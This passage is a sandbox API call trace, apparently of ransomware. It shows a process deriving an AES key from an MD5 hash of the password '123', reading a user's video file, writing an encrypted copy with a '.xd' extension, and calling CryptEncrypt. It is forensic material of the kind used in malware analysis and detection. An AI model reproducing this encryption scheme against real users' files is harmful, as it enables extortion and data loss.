lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0066.339] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.339] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.339] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.339] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.339] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.339] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.339] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.339] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.339] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.339] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.339] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.339] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.339] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0066.339] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.339] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.339] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.340] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.340] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.340] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.340] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.340] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.340] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.340] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.340] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.340] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.340] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.340] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.340] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.340] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.340] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.340] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.340] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621588, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0066.341] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0066.341] CryptCreateHash (in: hProv=0x17aa230, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0066.341] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.341] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.341] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.341] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629560, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.341] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0066.341] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629660, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.341] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.341] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.342] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.342] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0066.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0066.342] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0066.342] CryptHashData (hHash=0x164c4f0, pbData=0x1629670, dwDataLen=0x3, dwFlags=0x1) returned 1 [0066.342] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.342] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.342] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.342] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.342] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.342] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.342] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.343] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0066.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216f0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0066.343] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0066.343] CryptDeriveKey (in: hProv=0x17aa230, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c770) returned 1 [0066.343] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.343] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.343] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.343] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.343] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.344] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.344] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0066.344] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0066.344] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0066.344] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0066.344] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.344] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.344] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.344] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.344] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.345] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\jqtbchp7.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0066.345] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.345] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0066.345] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.345] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.345] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.345] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb")) returned 0x10 [0066.347] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\jqtbchp7.mp4.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0066.348] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.348] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.348] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.348] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.351] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0066.352] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0066.353] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x7e92, lpOverlapped=0x0) returned 1 [0066.354] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0066.358] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.358] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.358] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.359] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0066.361] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.361] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.361] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0066.361] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.361] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0066.361] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.361] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.361] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.362] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0066.362] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0066.362] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0066.362] CryptGetKeyParam (in: hKey=0x164c770, dwParam=0x7, pbData=0x1629660, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629660*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0066.362] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.362] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.362] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.362] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.363] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.363] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.363] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.363] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.363] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.363] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.363] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.364] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.364] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.364] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.364] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.364] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.364] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.364] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.364] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.364] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.364] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.364] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.364] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.364] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.365] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.366] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.366] CryptEncrypt (in: hKey=0x164c770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x17e92, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x17ea0) returned 1 [0066.366] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) 